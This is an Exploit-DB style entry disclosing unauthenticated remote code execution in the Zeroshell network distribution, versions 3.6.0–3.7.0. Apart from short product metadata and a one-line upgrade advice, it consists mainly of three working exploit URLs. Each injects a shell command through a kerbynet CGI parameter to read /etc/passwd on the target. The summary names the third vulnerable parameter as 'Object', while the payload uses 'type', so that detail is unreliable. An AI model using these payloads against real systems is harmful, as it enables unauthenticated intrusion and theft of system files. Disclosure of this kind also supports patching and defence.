Zeroshell - Net Services Unauthenticated Remote Code Execution

vendor:

Zeroshell

by:

Ozer Goker

9,8

CVSS

HIGH

Unauthenticated Remote Code Execution | RCE

CWE

Product Name: Zeroshell

Affected Version From: 3.6.0

Affected Version To: 3.7.0

Patch Exists: Yes

Related CWE: N/A

CPE: a:zeroshell:zeroshell

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2017

Zeroshell – Net Services Unauthenticated Remote Code Execution | RCE

Zeroshell is a small Linux distribution for servers and embedded devices with the aim to provide network services. It is available in the form of live CD or compact Flash image and it can be configured using a web browser. The main features of Zeroshell include: load balancing and failover of multiple Internet connections, UMTS/HSDPA connections by using 3G modems, RADIUS server for providing secure authentication and automatic management of encryption keys to wireless networks, captive portal to support web login, and many others. Three RCE vulnerabilities were discovered in Zeroshell, which allow an attacker to execute arbitrary code on the vulnerable system without authentication. The first vulnerability is a GET/POST request to the ‘/cgi-bin/kerbynet’ page with the ‘User’ parameter set to a malicious payload. The second vulnerability is a GET request to the ‘/cgi-bin/kerbynet’ page with the ‘x509type’ parameter set to a malicious payload. The third vulnerability is a GET request to the ‘/cgi-bin/kerbynet’ page with the ‘Object’ parameter set to a malicious payload.

Mitigation:

The vendor has released a patch to address the issue. Users are advised to upgrade to the latest version of Zeroshell.

Source

Exploit-DB raw data:

####################################################################################################################################
# Exploit Title: Zeroshell - Net Services  Unauthenticated Remote Code Execution | RCE
# Date: 13.01.2017
# Exploit Author: Ozer Goker
# Vendor Homepage: http://www.zeroshell.org
# Software Link: www.zeroshell.org/download/
# Version: 3.6.0 & 3.7.0
####################################################################################################################################

Introduction

Zeroshell is a small Linux distribution for servers and embedded devices with the aim to provide network services. It is available in the form of live CD or compact Flash image and it can be configured using a web browser. The main features of Zeroshell include: load balancing and failover of multiple Internet connections, UMTS/HSDPA connections by using 3G modems, RADIUS server for providing secure authentication and automatic management of encryption keys to wireless networks, captive portal to support web login, and many others.


Vulnerabilities: Unauthenticated Remote Code Execution | RCE


RCE details:

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RCE 1

URL
http://192.168.0.75/cgi-bin/kerbynet?Action=StartSessionSubmit&User=%27%26cat%20/etc/passwd%26%27&PW=

METHOD
Get,Post

PARAMETER
User

PAYLOAD
%27%26cat%20/etc/passwd%26%27


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RCE 2

URL
http://192.168.0.75/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%26cat%20/etc/passwd%26%27

METHOD
Get

PARAMETER
x509type

PAYLOAD
%27%26cat%20/etc/passwd%26%27


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RCE 3

URL
http://192.168.0.75/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=%22%26cat%20/etc/passwd%26%22

METHOD
Get

PARAMETER
type

PAYLOAD
%22%26cat%20/etc/passwd%26%22


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